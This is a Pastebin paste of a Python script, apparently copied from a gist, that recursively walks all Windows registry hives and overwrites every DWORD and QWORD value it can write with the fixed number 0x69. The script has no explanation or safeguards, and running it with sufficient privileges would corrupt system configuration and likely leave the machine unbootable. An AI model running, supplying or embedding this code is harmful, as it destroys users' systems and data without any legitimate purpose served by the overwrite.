Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Andrew Maney 2022, file copied from https://gist.github.com/FlyTechVideos/2a9b260f0cd440fbe316241ffc8e48ac
- # Imports
- import winreg
- # Variables
- VALUE_TO_WRITE = 0x69
- root_dict = {
- 'HKEY_CLASSES_ROOT': winreg.HKEY_CLASSES_ROOT,
- 'HKEY_CURRENT_USER': winreg.HKEY_CURRENT_USER,
- 'HKEY_LOCAL_MACHINE': winreg.HKEY_LOCAL_MACHINE,
- 'HKEY_USERS': winreg.HKEY_USERS,
- 'HKEY_CURRENT_CONFIG': winreg.HKEY_CURRENT_CONFIG
- }
- types_to_overwrite = [
- winreg.REG_DWORD,
- winreg.REG_QWORD
- ]
- # Functions
- def check_values(root, key, opened_key):
- values_to_overwrite = []
- try:
- i = 0
- while True:
- value = winreg.EnumValue(opened_key, i)
- if value[2] in types_to_overwrite:
- values_to_overwrite.append((value[0], value[2]))
- i += 1
- except:
- pass
- if len(values_to_overwrite) > 0:
- try:
- opened_write_key = winreg.OpenKey(root_dict[root], key, access=winreg.KEY_SET_VALUE)
- for value_pair in values_to_overwrite:
- winreg.SetValueEx(opened_write_key, value_pair[0], 0, int(value_pair[1]), VALUE_TO_WRITE)
- except Exception as e:
- print(f'PERMISSION DENIED: {e}')
- pass
- def traverse(root, key):
- should_check_values = True
- try:
- opened_key = winreg.OpenKey(root_dict[root], key)
- check_values(root, key, opened_key)
- except Exception as e:
- if 'WinError 5' in str(e):
- print(f'{e}: Error 5 [no read permission]')
- should_check_values = False # no need if i can't read them anyway
- if should_check_values:
- check_values(root, key, opened_key)
- if key != '':
- key += '\\'
- try:
- i = 0
- while True:
- traverse(root, key + winreg.EnumKey(opened_key, i))
- i += 1
- except:
- pass
- def main():
- for root in root_dict.keys():
- traverse(root, "")
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement